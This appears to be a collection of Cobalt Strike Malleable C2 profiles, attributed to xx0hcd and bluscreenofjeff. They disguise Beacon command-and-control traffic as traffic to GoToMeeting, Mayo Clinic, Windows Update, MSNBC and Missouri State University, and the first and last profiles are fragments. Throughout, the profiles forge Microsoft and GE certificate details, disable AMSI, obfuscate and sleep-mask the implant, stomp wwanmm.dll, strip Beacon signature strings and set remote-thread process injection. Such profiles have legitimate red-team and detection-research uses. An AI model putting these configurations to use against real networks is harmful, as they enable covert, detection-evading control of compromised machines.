83 header "Cookie" "SID=KsY0f3fxIeBLQRn2wHMhgJvTkFbWZIEqNyABgX_nveBtm9LeEmsHn6I9OmYzpw;";
84
85
86 output {
87 base64url;
88 netbios;
89 base64url;
90 parameter "id";
91 }
92
93 #session ID
94 id {
95 parameter "u";
96 }
97 }
98
99 server {
100 header "Content-Type" "application/json; charset=utf-8";
101 header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
102 header "Pragma" "no-cache";
103 header "Content-Disposition" "attachment; filename=\"json.txt\"; filename*=UTF-8''json.txt";
104 header "X-Content-Type-Options" "nosniff";
105 header "X-Frame-Options" "SAMEORIGIN";
106 header "X-XSS-Protection" "1; mode=block";
107 header "Server" "GSE";
108 header "Connection" "close";
109
110
111 output {
112 print;
113 }
114 }
115 }
116
117 #change the stager server
118 http-stager {
119 server {
120 header "Content-Type" "application/json; charset=utf-8";
121 header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
122 header "Pragma" "no-cache";
123 }
124 }
125
0 #gotomeeting profile
1 #updated for 3.14
2 #this traffic mimics site traffic, NOT the actual ADP protocol used when the app loads and the meeting starts.
3 #xx0hcd
4
5 set sleeptime "37000";
6 set jitter "25";
7 set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36";
8 set dns_idle "8.8.8.8";
9 set maxdns "245";
10
11 set sample_name "gotomeeting.profile";
12
13 #https-certificate {
14 # set keystore "your_store_file.store";
15 # set password "your_store_pass";
16 #}
17
18 http-config {
19 set headers "Server, Content-Type, Brightspot-Id, Cache-Control, X-Content-Type-Options, X-Powered-By, Vary, Connection";
20 header "Content-Type" "text/html;charset=UTF-8";
21 header "Connection" "close";
22 header "Brightspot-Id" "00000459-72af-a783-feef2189";
23 header "Cache-Control" "max-age=2";
24 header "Server" "Apache-Coyote/1.1";
25 header "X-Content-Type-Options" "nosniff";
26 header "X-Powered-By" "Brightspot";
27 header "Vary" "Accept-Encoding";
28 set trust_x_forwarded_for "false";
29
30 }
31
32 http-get {
33
34 set uri "/functionalStatus";
35
36 client {
37
38 #set Host header to whatever
39 # header "Host" "whatever.gotomeeting.com";
40 header "Accept" "*/*";
41 header "Accept-Language" "en-US";
42 header "Connection" "close";
43
44 metadata {
45 base64url;
46 parameter "_";
47
48 }
49
50 }
51
52 server {
53
54 output {
55
56 netbios;
57
58 prepend "content=";
59 prepend "<meta name=\"google-site-verification\"\n";
60 prepend "<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n";
61 prepend "<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n";
62 prepend "<link rel=\"canonical\" href=\"https://www.gotomeeting.com/b\">\n";
63 prepend "<title>Online Meeting Software with HD Video Conferencing | GoToMeeting</title>\n";
64 prepend " <meta charset=\"UTF-8\">\n";
65 prepend " <head>\n";
66 prepend "<html lang=\"en\">\n";
67 prepend "<!DOCTYPE html>\n";
68
69 append "\n<meta name=\"msvalidate.01\" content=\"63E628E67E6AD849F4185FA9AA7ABACA\">\n";
70 append "<script type=\"text/javascript\">\n";
71 append " var _kiq = _kiq || [];\n";
72 append " (function(){\n";
73 append " setTimeout(function(){\n";
74 append " var d = document, f = d.getElementsByTagName('script')[0], s =\n";
75 append "d.createElement('script'); s.type = 'text/javascript';\n";
76 append " s.async = true; s.src = '//s3.amazonaws.com/ki.js/66992/fWl.js';\n";
77 append "f.parentNode.insertBefore(s, f);\n";
78 append " }, 1);\n";
79 append "})();\n";
80 append "</script>\n";
81 append "</body>\n";
82 append "</html>\n";
83 print;
84 }
85 }
86 }
87
88 http-post {
89
90 set uri "/rest/2/meetings";
91 set verb "GET";
92
93 client {
94
95 #set Host header to whatever
96 # header "Host" "whatever.gotomeeting.com";
97 header "Accept" "*/*";
98 header "Accept-Language" "en";
99 header "Connection" "close";
100
101 output {
102 base64url;
103 parameter "includeMeetingsICoorganize";
104 }
105
106
107 id {
108 base64url;
109 parameter "includeCoorganizers";
110
111 }
112 }
113
114 server {
115
116 output {
117 netbios;
118
119 prepend "content=";
120 prepend "<meta name=\"google-site-verification\"\n";
121 prepend "<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n";
122 prepend "<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n";
123 prepend "<link rel=\"canonical\" href=\"https://www.gotomeeting.com/b\">\n";
124 prepend "<title>Online Meeting Software with HD Video Conferencing | GoToMeeting</title>\n";
125 prepend " <meta charset=\"UTF-8\">\n";
126 prepend " <head>\n";
127 prepend "<html lang=\"en\">\n";
128 prepend "<!DOCTYPE html>\n";
129
130 append "\n<meta name=\"msvalidate.01\" content=\"63E628E67E6AD849F4185FA9AA7ABACA\">\n";
131 append "<script type=\"text/javascript\">\n";
132 append " var _kiq = _kiq || [];\n";
133 append " (function(){\n";
134 append " setTimeout(function(){\n";
135 append " var d = document, f = d.getElementsByTagName('script')[0], s =\n";
136 append "d.createElement('script'); s.type = 'text/javascript';\n";
137 append " s.async = true; s.src = '//s3.amazonaws.com/ki.js/66992/fWl.js';\n";
138 append "f.parentNode.insertBefore(s, f);\n";
139 append " }, 1);\n";
140 append "})();\n";
141 append "</script>\n";
142 append "</body>\n";
143 append "</html>\n";
144 print;
145 }
146 }
147 }
148
149 http-stager {
150
151 set uri_x86 "/Meeting/32251817/";
152 set uri_x64 "/Meeting/32251816/";
153
154 client {
155 # header "Host" "whatever.gotomeeting.com";
156 header "Accept" "*/*";
157 header "Accept-Language" "en-US";
158 header "Connection" "close";
159 }
160
161 server {
162
163 }
164
165
166 }
167
168 ###Malleable PE Options###
169 #always test spawnto and module stomp before using. My examples tested on Windows 10 Pro.
170
171 post-ex {
172
173 set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
174 set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
175
176 set obfuscate "true";
177
178 set smartinject "true";
179
180 set amsi_disable "true";
181
182 }
183
184 #used peclone on wwanmm.dll.
185 #don't use 'set image_size_xx' if using 'set module_xx'
186 stage {
187 set checksum "0";
188 set compile_time "25 Oct 2016 01:57:23";
189 set entry_point "170000";
190 # set image_size_x86 "6586368";
191 # set image_size_x64 "6586368";
192 # set name "WWanMM.dll";
193 set userwx "false";
194 set cleanup "true";
195 set sleep_mask "true";
196 set stomppe "true";
197 set obfuscate "true";
198 set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
199
200
201 #module stomp
202
203 set module_x86 "wwanmm.dll";
204 set module_x64 "wwanmm.dll";
205
206 transform-x86 {
207 prepend "\x90\x90\x90";
208 strrep "ReflectiveLoader" "";
209 strrep "beacon.dll" "";
210 }
211
212 transform-x64 {
213 prepend "\x90\x90\x90";
214 strrep "ReflectiveLoader" "";
215 strrep "beacon.x64.dll" "";
216 }
217 }
218 process-inject {
219
220 set allocator "NtMapViewOfSection";
221
222 set min_alloc "16700";
223
224 set userwx "false";
225
226 set startrwx "true";
227
228 transform-x86 {
229 prepend "\x90\x90\x90";
230 }
231 transform-x64 {
232 prepend "\x90\x90\x90";
233 }
234
235 execute {
236 CreateThread "ntdll!RtlUserThreadStart";
237 CreateThread;
238 NtQueueApcThread;
239 CreateRemoteThread;
240 RtlCreateUserThread;
241 }
242 }
0 #mayoclinic profile
1 #xx0hcd
2
3 set sleeptime "37000";
4 set jitter "25";
5 set useragent "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
6 set dns_idle "8.8.8.8";
7 set maxdns "245";
8
9 set sample_name "mayoclinic.profile";
10
11 #https-certificate {
12 # set keystore "keystore.store";
13 # set password "password";
14 #}
15
16 http-config {
17 set headers "Content-Type, Connection, Server, Link, X-Cache";
18 header "Content-Type" "text/html;charset=UTF-8";
19 header "Connection" "close";
20 header "Server" "nginx";
21 header "X-Powered-By" "PHP/7.0.33";
22 header "Link" "<https://newsnetwork.mayoclinic.org/wp-json/>; rel=\"https://api.w.org/\"";
23 set trust_x_forwarded_for "false";
24 }
25
26 http-get {
27
28 set uri "/discussion/mayo-clinic-radio-als/ /discussion/ /hubcap/mayo-clinic-radio-full-shows/ /category/research-2/";
29
30 client {
31
32 header "Host" "www.mayomedical.com";
33 header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
34 header "Accept-Language" "en-US,en;q=0.5";
35 header "Connection" "close";
36
37 parameter "permalink" "https://www.mayoclinic.org";
38
39 metadata {
40 netbios;
41 parameter "id";
42
43 }
44
45 }
46
47 server {
48
49 output {
50
51 base64;
52
53 prepend "type=\"text/javascript\">(window.NREUM||(NREUM={})).loader_config={xpid:";
54 prepend "<script\n";
55 prepend " <meta charset=\"UTF-8\">\n";
56 prepend " <head>\n";
57 prepend "<html lang=\"en-US\">\n";
58 prepend "<!DOCTYPE html>\n";
59
60 append "};window.NREUM||(NREUM={}),__nr_require=function(t,n,e){function r(e){if(!n[e]){var o=n[e]={exports:{}};t[e][0].call(o.exports,function(n){var o=t[e][1][n];return r(o||n)},o,o.exports)}return n[e].exports}if(\"function\"==typeof __nr_require)return __nr_require;for(var o=0;o<e.length;o++)r(e[o]);return r}({1:[function(t,n,e){function r(t){try{s.console&&console.log(t)}catch(n){}}var o,i=t(\"ee\"),a=t(16),s={};try{o=localStorage.getItem(\"__nr_flags\").split(\",\"),console&&\"function\"==typeof console.log&&(s.console=!0,o.indexOf(\"dev\")!==-1&&(s.dev=!0),o.indexOf(\"nr_dev\")!==-1&&(s.nrDev=!0))}catch(c){}s.nrDev&&i.on(\"internal-error\",function(t){r(t.stack)}),s.dev&&i.on(\"fn-err\",function(t,n,e){r(e.stack)}),s.dev&&(r(\"NR AGENT IN DEVELOPMENT MODE\"),r(\"flags: \"+a(s,function(t,n){return t}).join(\", \")))},{}],2:[function(t,n,e){function r(t,n,e,r,s)\n";
61 append "<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n";
62 append "<link rel=\"profile\" href=\"http://gmpg.org/xfn/11\">\n";
63 append "<link rel=\"pingback\" href=\"https://newsnetwork.mayoclinic.org/xmlrpc.php\">\n";
64 append "<type=\"text/css\" media=\"screen\" />\n";
65 append "<title>Research &#8211; Mayo Clinic News Network</title>\n";
66 append "</script>\n";
67 append "</html><!--Partial cache version delivered by HubScale -->";
68 print;
69 }
70 }
71 }
72
73 http-post {
74
75 set uri "/archive/ /bloglist/ /secondary-archive/ ";
76 set verb "GET";
77
78 client {
79
80 header "Host" "www.mayomedical.com";
81 header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
82 header "Accept-Language" "en-US,en;q=0.5";
83 header "Connection" "close";
84
85 output {
86 base64url;
87 parameter "permalink";
88 }
89
90
91 id {
92 netbios;
93 parameter "id";
94
95 }
96 }
97
98 server {
99
100 output {
101 base64;
102
103 prepend "type=\"text/javascript\">(window.NREUM||(NREUM={})).loader_config={xpid:";
104 prepend "<script\n";
105 prepend " <meta charset=\"UTF-8\">\n";
106 prepend " <head>\n";
107 prepend "<html lang=\"en-US\">\n";
108 prepend "<!DOCTYPE html>\n";
109
110 append "\"VgYBUVZWDRAJXVlTAQUAVw==\"};window.NREUM||(NREUM={}),__nr_require=function(t,n,e){function r(e){if(!n[e]){var o=n[e]={exports:{}};t[e][0].call(o.exports,function(n){var o=t[e][1][n];return r(o||n)},o,o.exports)}return n[e].exports}if(\"function\"==typeof __nr_require)return __nr_require;for(var o=0;o<e.length;o++)r(e[o]);return r}({1:[function(t,n,e){function r(t){try{s.console&&console.log(t)}catch(n){}}var o,i=t(\"ee\"),a=t(16),s={};try{o=localStorage.getItem(\"__nr_flags\").split(\",\"),console&&\"function\"==typeof console.log&&(s.console=!0,o.indexOf(\"dev\")!==-1&&(s.dev=!0),o.indexOf(\"nr_dev\")!==-1&&(s.nrDev=!0))}catch(c){}s.nrDev&&i.on(\"internal-error\",function(t){r(t.stack)}),s.dev&&i.on(\"fn-err\",function(t,n,e){r(e.stack)}),s.dev&&(r(\"NR AGENT IN DEVELOPMENT MODE\"),r(\"flags: \"+a(s,function(t,n){return t}).join(\", \")))},{}],2:[function(t,n,e){function r(t,n,e,r,s)\n";
111 append "<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n";
112 append "<link rel=\"profile\" href=\"http://gmpg.org/xfn/11\">\n";
113 append "<link rel=\"pingback\" href=\"https://newsnetwork.mayoclinic.org/xmlrpc.php\">\n";
114 append "<type=\"text/css\" media=\"screen\" />\n";
115 append "<title>Research &#8211; Mayo Clinic News Network</title>\n";
116 append "</script>\n";
117 append "</html><!--Partial cache version delivered by HubScale -->";
118 print;
119 }
120 }
121 }
122
123 http-stager {
124
125 set uri_x86 "/tag/";
126 set uri_x64 "/Category/";
127
128 client {
129 header "Host" "www.mayomedical.com";
130 header "Accept" "*/*";
131 header "Accept-Language" "en-US";
132 header "Connection" "close";
133 }
134
135 server {
136
137 }
138
139
140 }
141
142 ###Malleable PE Options###
143 #always test spawnto and module stomp before using. My examples tested on Windows 10 Pro.
144
145 post-ex {
146
147 set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
148 set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
149
150 set obfuscate "true";
151
152 set smartinject "true";
153
154 set amsi_disable "true";
155
156 }
157
158 #used peclone on wwanmm.dll.
159 #don't use 'set image_size_xx' if using 'set module_xx'
160 stage {
161 set checksum "0";
162 set compile_time "25 Oct 2016 01:57:23";
163 set entry_point "170000";
164 # set image_size_x86 "6586368";
165 # set image_size_x64 "6586368";
166 # set name "WWanMM.dll";
167 set userwx "false";
168 set cleanup "true";
169 set sleep_mask "true";
170 set stomppe "true";
171 set obfuscate "true";
172 set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
173
174
175 #module stomp
176
177 set module_x86 "wwanmm.dll";
178 set module_x64 "wwanmm.dll";
179
180 transform-x86 {
181 prepend "\x90\x90\x90";
182 strrep "ReflectiveLoader" "";
183 strrep "beacon.dll" "";
184 }
185
186 transform-x64 {
187 prepend "\x90\x90\x90";
188 strrep "ReflectiveLoader" "";
189 strrep "beacon.x64.dll" "";
190 }
191 }
192 process-inject {
193
194 set allocator "NtMapViewOfSection";
195
196 set min_alloc "16700";
197
198 set userwx "false";
199
200 set startrwx "true";
201
202 transform-x86 {
203 prepend "\x90\x90\x90";
204 }
205 transform-x64 {
206 prepend "\x90\x90\x90";
207 }
208
209 execute {
210 CreateThread "ntdll!RtlUserThreadStart";
211 CreateThread;
212 NtQueueApcThread;
213 CreateRemoteThread;
214 RtlCreateUserThread;
215 }
216 }
0 #
1 # Microsoft Update
2 #
3 # Author: @bluscreenofjeff
4 #
5
6 #set https cert info
7 #information assumed based on other Microsoft certs
8 https-certificate {
9 set CN "www.windowsupdate.com"; #Common Name
10 set O "Microsoft Corporation"; #Organization Name
11 set C "US"; #Country
12 set L "Redmond"; #Locality
13 set OU "Microsoft IT"; #Organizational Unit Name
14 set ST "WA"; #State or Province
15 set validity "365"; #Number of days the cert is valid for
16 }
17
18 #default Beacon sleep duration and jitter
19 set sleeptime "60000";
20 set jitter "20";
21
22 #default useragent for HTTP comms
23 set useragent "Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.40";
24
25 #IP address used to indicate no tasks are available to DNS Beacon
26 set dns_idle "8.8.4.4";
27
28 #Force a sleep prior to each individual DNS request. (in milliseconds)
29 set dns_sleep "0";
30
31 #Maximum length of hostname when uploading data over DNS (0-255)
32 set maxdns "235";
33
34 http-get {
35
36 set uri "/c/msdownload/update/others/2016/12/29136388_";
37
38 client {
39
40 header "Accept" "*/*";
41 header "Host" "download.windowsupdate.com";
42
43 #session metadata
44 metadata {
45 base64url;
46 append ".cab";
47 uri-append;
48 }
49 }
50
51
52 server {
53 header "Content-Type" "application/vnd.ms-cab-compressed";
54 header "Server" "Microsoft-IIS/8.5";
55 header "MSRegion" "N. America";
56 header "Connection" "keep-alive";
57 header "X-Powered-By" "ASP.NET";
58
59 #Beacon's tasks
60 output {
61
62 print;
63 }
64 }
65 }
66
67 http-post {
68
69 set uri "/c/msdownload/update/others/2016/12/3215234_";
70 set verb "GET";
71
72 client {
73
74 header "Accept" "*/*";
75
76 #session ID
77 id {
78 prepend "download.windowsupdate.com/c/";
79 header "Host";
80 }
81
82
83 #Beacon's responses
84 output {
85 base64url;
86 append ".cab";
87 uri-append;
88 }
89 }
90
91 server {
92 header "Content-Type" "application/vnd.ms-cab-compressed";
93 header "Server" "Microsoft-IIS/8.5";
94 header "MSRegion" "N. America";
95 header "Connection" "keep-alive";
96 header "X-Powered-By" "ASP.NET";
97
98 #empty
99 output {
100 print;
101 }
102 }
103 }
104
105 #change the stager server
106 http-stager {
107 server {
108 header "Content-Type" "application/vnd.ms-cab-compressed";
109 }
110 }
0 #
1 # MSNBC Live Video
2 #
3 # Author: @bluscreenofjeff
4 #
5
6 #set https cert info
7
8 #NOTE: As of writing, MSNBC doesn't support HTTS - these are made-up cert details based on nbc.com cert
9 https-certificate {
10 set CN "www.msnbc.com"; #Common Name
11 set O "General Electric Company"; #Organization Name
12 set C "US"; #Country
13 set L "Fairfield"; #Locality
14 set OU "Enterprise SSL Wildcard"; #Organizational Unit Name
15 set ST "CT"; #State or Province
16 set validity "365"; #Number of days the cert is valid for
17 }
18
19 #default Beacon sleep duration and jitter
20 set sleeptime "1000";
21 set jitter "20";
22
23 #default useragent for HTTP comms
24 set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
25
26 #IP address used to indicate no tasks are available to DNS Beacon
27 set dns_idle "8.8.4.4";
28
29 #Force a sleep prior to each individual DNS request. (in milliseconds)
30 set dns_sleep "0";
31
32 #Maximum length of hostname when uploading data over DNS (0-255)
33 set maxdns "235";
34
35 http-get {
36
37 set uri "/z/msnbc2_live01@9615/manifest.f4m";
38
39 client {
40
41 header "Host" "msnbc2prod-lh.akamaihd.net";
42 header "X-Requested-With" "ShockwaveFlash/24.0.0.186";
43 header "Referer" "http://player.theplatform.com/p/7wvmTC/NBCOnAirProdPlayer/embed/select?s=msnbc";
44
45 parameter "hdcore" "3.1";
46
47 #session metadata
48 metadata {
49 netbios;
50 parameter "g";
51 }
52 }
53
54
55 server {
56
57 header "Server" "AkamaiGHost";
58 header "Mime-Version" "1.0";
59 header "Content-Type" "video/abst";
60 header "Cache-Control" "max-age=0, no-cache";
61 header "Pragma" "no-cache";
62 header "Connection" "keep-alive";
63 header "Set-Cookie" "_alid_=RKs7UfhDqLr37whMpHIwBg==; path=/z/msnbc2_live01@9615/; domain=msnbc2prod-lh.akamaihd.net";
64
65 #Beacon's tasks
66 output {
67
68 print;
69 }
70 }
71 }
72
73 http-post {
74
75 set uri "/z/msnbc2_live01@6915/manifest.f4m";
76 set verb "GET";
77
78 client {
79
80 header "Host" "msnbc2prod-lh.akamaihd.net";
81 header "X-Requested-With" "ShockwaveFlash/24.0.0.186";
82
83 parameter "hdcore" "3.1";
84
85 #session ID
86 id {
87 netbios;
88 base64url;
89 parameter "g";
90 }
91
92 #Beacon's responses
93 output {
94 base64url;
95 prepend "http://player.theplatform.com/p/";
96 append "/NBCOnAirProdPlayer/embed/select?s=msnbc";
97 header "Referer";
98 }
99 }
100
101 server {
102
103 header "Server" "AkamaiGHost";
104 header "Mime-Version" "1.0";
105 header "Content-Type" "video/abst";
106 header "Cache-Control" "max-age=0, no-cache";
107 header "Pragma" "no-cache";
108 header "Connection" "keep-alive";
109 header "Set-Cookie" "_alid_=RKs7UfhDqLr37whMpHIwBg==; path=/z/msnbc2_live01@6915/; domain=msnbc2prod-lh.akamaihd.net";
110
111 #empty
112 output {
113 print;
114 }
115 }
116 }
117
118 #change the stager server
119 http-stager {
120 server {
121 header "Content-Type" "image/gif";
122 }
123 }
0 #MSU education site profile
1 #xx0hcd
2
3 ###Global Options###
4 set sample_name "msu_edu.profile";
5
6 set sleeptime "37500";
7 set jitter "33";
8 set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36";
9
10 #set host_stage "false";
11
12 ###DNS options###
13 set dns_idle "8.8.8.8";
14 set maxdns "245";
15 set dns_sleep "0";
16 set dns_stager_prepend "";
17 set dns_stager_subhost "";
18 set dns_max_txt "252";
19 set dns_ttl "1";
20
21 ###SMB options###
22 set pipename "ntsvcs";
23 set pipename_stager "scerpc";
24
25 ###TCP options###
26 set tcp_port "8000";
27
28 ###SSL Options###
29 #https-certificate {
30 #set keystore "your_store_file.store";
31 #set password "your_store_pass";
32 #}
33
34 #https-certificate {
35 # set C "US";
36 # set CN "whatever.com";
37 # set L "California";
38 # set O "whatever LLC.";
39 # set OU "local.org";
40 # set ST "CA";
41 # set validity "365";
42 #}
43
44 #code-signer {
45 #set keystore "your_keystore.jks";
46 #set password "your_password";
47 #set alias "server";
48 #}
49
50 ###HTTP-Config Block###
51 http-config {
52 #set headers "Server, Content-Type";
53 #header "Content-Type" "text/html;charset=UTF-8";
54 #header "Server" "nginx";
55
56 set trust_x_forwarded_for "false";
57 }
58
59 ###HTTP-GET Block###
60 http-get {
61
62 set uri "/siteindex/a/ /siteindex/b/ /siteindex/c/";
63
64 #set verb "POST";
65
66 client {
67
68 header "Host" "search.missouristate.edu";
69 header "Accept" "*/*";
70 header "Accept-Language" "en";
71 header "Connection" "close";
72
73
74 metadata {
75 #base64
76 base64url;
77 #mask;
78 #netbios;
79 #netbiosu;
80 #prepend "TEST123";
81 #append ".php";
82
83 parameter "filter";
84 #header "Cookie";
85 #uri-append;
86
87 #print;
88 }
89
90 #parameter "test1" "test2";
91 }
92
93 server {
94 header "Cache-Control" "private";
95 header "Content-Type" "text/html; charset=utf-8";
96 header "Vary" "User-Agent";
97 header "Server" "Microsoft-IIS/8.5";
98 header "BackendServer" "Handle";
99 header "X-UA-Compatible" "IE=edge";
100 header "Connection" "close";
101 header "Set-Cookie" "WWW-SERVERID=handle; path=/";
102
103 output {
104
105 netbios;
106 #netbiosu;
107 #base64;
108 #base64url;
109 #mask;
110
111 prepend " <link href=\"/resource/styles\" media=\"all\" rel=\"stylesheet\" /> <script src=\"https://missouristate.info/scripts/2018/common.js?_q=";
112 prepend " <meta name=\"robots\" content=\"noindex\" /><link rel=\"Stylesheet\" media=\"all\" href=\"https://missouristate.info/styles/msuwds/main-sgf.css\" />\n";
113 prepend " <meta name=\"vireport\" content=\"width=device-width, initial-scale=1.0\" />\n";
114 prepend " <title>A - Site Index - Missouri State University</title>\n";
115 prepend " <meta charset=\"UTF-8\" />\n";
116 prepend "<head>";
117 prepend "<html lang=\"en\" itemscope itemtype=\"https://schema.org/SearchResultsPage\">\n";
118 prepend "<!DOCTYPE html>\n";
119
120 append "\"></script>\n";
121 append "<h2>About search</h2>\n";
122 append "<ul>\n";
123 append "<li><a href=\"https://www.missouristate.edu/web/search/aboutwebsearch.htm\">About web search</a></li>]n";
124 append "<li><a href=\"https://www.missouristate.edu/web/search/aboutpeoplesearch.htm\">About people search</a></li>\n";
125 append "<li><a href=\"https://www.missouristate.edu/web/search/abouteventsearch.htm\">About event search</a></li>\n";
126 append "<li><a href=\"https://www.missouristate.edu/web/search/aboutmapsearch.htm\">About map search</a></li>";
127 append "</ul>\n";
128 append "</div>";
129
130 print;
131 }
132 }
133 }
134
135 ###HTTP-Post Block###
136 http-post {
137
138 set uri "/getsearchresults";
139 #set verb "GET";
140 set verb "POST";
141
142 client {
143
144 # header "Host" "search.missouristate.edu";
145 header "Connection" "close";
146 header "Accept" "*/*";
147 header "Accept-Language" "en-US";
148
149 output {
150 base64url;
151 parameter "site_indexFilter";
152 }
153
154 id {
155 base64url;
156 parameter "peopleFilter";
157
158 }
159
160 parameter "eventsFilter" "campus:sgf";
161 # parameter "mapFilter" "campus";
162 parameter "query" "my%20missouri%20state";
163 parameter "resultCounts" "5,3,3,3&";
164
165 }
166
167 server {
168 header "Cache-Control" "private";
169 header "Content-Type" "application/json; charset=utf-8";
170 header "Vary" "User-Agent,AcceptEncoding";
171 header "Server" "Microsoft-IIS/8.5";
172 header "BackendServer" "Handle";
173 header "X-UA-Compatible" "IE=edge";
174 header "Connection" "close";
175
176 output {
177 netbios;
178
179 prepend "[\"{\\\"results\\\":[\\\"{\\\\\\\"ID\\\\\\\":\\\\\\\"Missouri State University Foundation\\\\\\\",\\\\\\\"Name\\\\\\\":\\\\\\\"Missouri State University Foundation\\\\\\\",\\\\\\\"Url\\\\\\\":\\\\\\\"https://www.missouristatefoundation.org/\\\\\\\",\\\\\\\"Keywords\\\\\\\":";
180
181 append "\"\\\\\\\"development; endowment; foundation; Foundation, Missouri State; fundraising; missouri state foundation; missouri state university foundation\\\\\\\",\\\\\\\"UnitType\\\\\\\":\\\\\\\"Department\\\\\\\"}\\\",\\\"{\\\\\\\"ID\\\\\\\":\\\\\\\"Missouri State Outreach\\\\\\\",\\\\\\\"Name\\\\\\\":\\\\\\\"Missouri State Outreach\\\\\\\",\\\\\\\"Url\\\\\\\":\\\\\\\"https://outreach.missouristate.edu/\\\\\\\",\\\\\\\"Keywords\\\\\\\":\\\\\\\"distance learning; dual credit; evening; extended campus; Extended Campus (now Missouri State Outreach); i courses; i-courses; icourses; interactive video; itv; non credit; non-credit; noncredit; off campus; off-campus; offcampus; online; outreach; Outreach, Missouri State\\\\\\\"}\"]";
182
183 print;
184 }
185 }
186 }
187
188 ###HTTP-Stager Block###
189 http-stager {
190
191 set uri_x86 "/Events";
192 set uri_x64 "/events";
193
194 client {
195 header "Host" "search.missouristate.com";
196 header "Accept" "*/*";
197 header "Accept-Language" "en";
198 header "Connection" "close";
199
200 #parameter "test1" "test2";
201 }
202
203 server {
204 header "Cache-Control" "private";
205 header "Content-Type" "private";
206 header "Vary" "User-Agent";
207 header "Server" "Microsoft-IIS/8.5";
208 header "BackendServer" "Handle";
209 header "X-UA-Compatible" "IE=edge";
210 header "Connection" "close";
211 header "Set-Cookie" "WWW-SERVERID=handle; path=/";
212
213 output {
214
215 #prepend "content=";
216
217 #append "</script>\n";
218 print;
219 }
220
221 }
222 }
223
224
225 ###Malleable PE/Stage Block###
226 stage {
227 set checksum "0";
228 set compile_time "23 Nov 2018 02:25:37";
229 set entry_point "170000";
230 #set image_size_x86 "6586368";
231 #set image_size_x64 "6586368";
232 #set name "WWanMM.dll";
233 set userwx "false";
234 set cleanup "true";
235 set sleep_mask "true";
236 set stomppe "true";
237 set obfuscate "true";
238 set rich_header "";
239
240 set sleep_mask "true";
241
242 set module_x86 "wwanmm.dll";
243 set module_x64 "wwanmm.dll";
244
245 transform-x86 {
246 prepend "\x90\x90\x90";
247 strrep "ReflectiveLoader" "";
248 strrep "beacon.dll" "";
249 }
250
251 transform-x64 {
252 prepend "\x90\x90\x90";
253 strrep "ReflectiveLoader" "";
254 strrep "beacon.x64.dll" "";
255 }
256
257 #string "something";
258 #data "something";
259 #stringw "something";
260 }
261
262 ###Process Inject Block###
263 process-inject {
264
265 set allocator "NtMapViewOfSection";
266
267 set min_alloc "16700";
268
269 set userwx "false";
270
271 set startrwx "false";
272
273 transform-x86 {
274 prepend "\x90\x90\x90";
275 }
276 transform-x64 {
277 prepend "\x90\x90\x90";
278 }
279
280 execute {
281 CreateThread "ntdll!RtlUserThreadStart";
282 CreateThread;
283 NtQueueApcThread;
284 CreateRemoteThread;
285 RtlCreateUserThread;
286 }
287 }
288
289 ###Post-Ex Block###
290 post-ex {
291
292 set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
293 set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
294
295 set obfuscate "true";
296
297 set smartinject "true";
298
299 set amsi_disable "true";
300
301 }
0 #office365 calendar view
1 #office365 www.office.com redirects to outlook.live.com
2 #xx0hcd
3
4 set sleeptime "30000";
5 set jitter "20";
6 set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)";
7 set dns_idle "8.8.8.8";
8 set maxdns "235";
9
10 #custom cert
11 #https-certificate {
12 # set keystore "your_store_file.store";
13 # set password "your_store_pass";
14 #}
15
16 http-config {
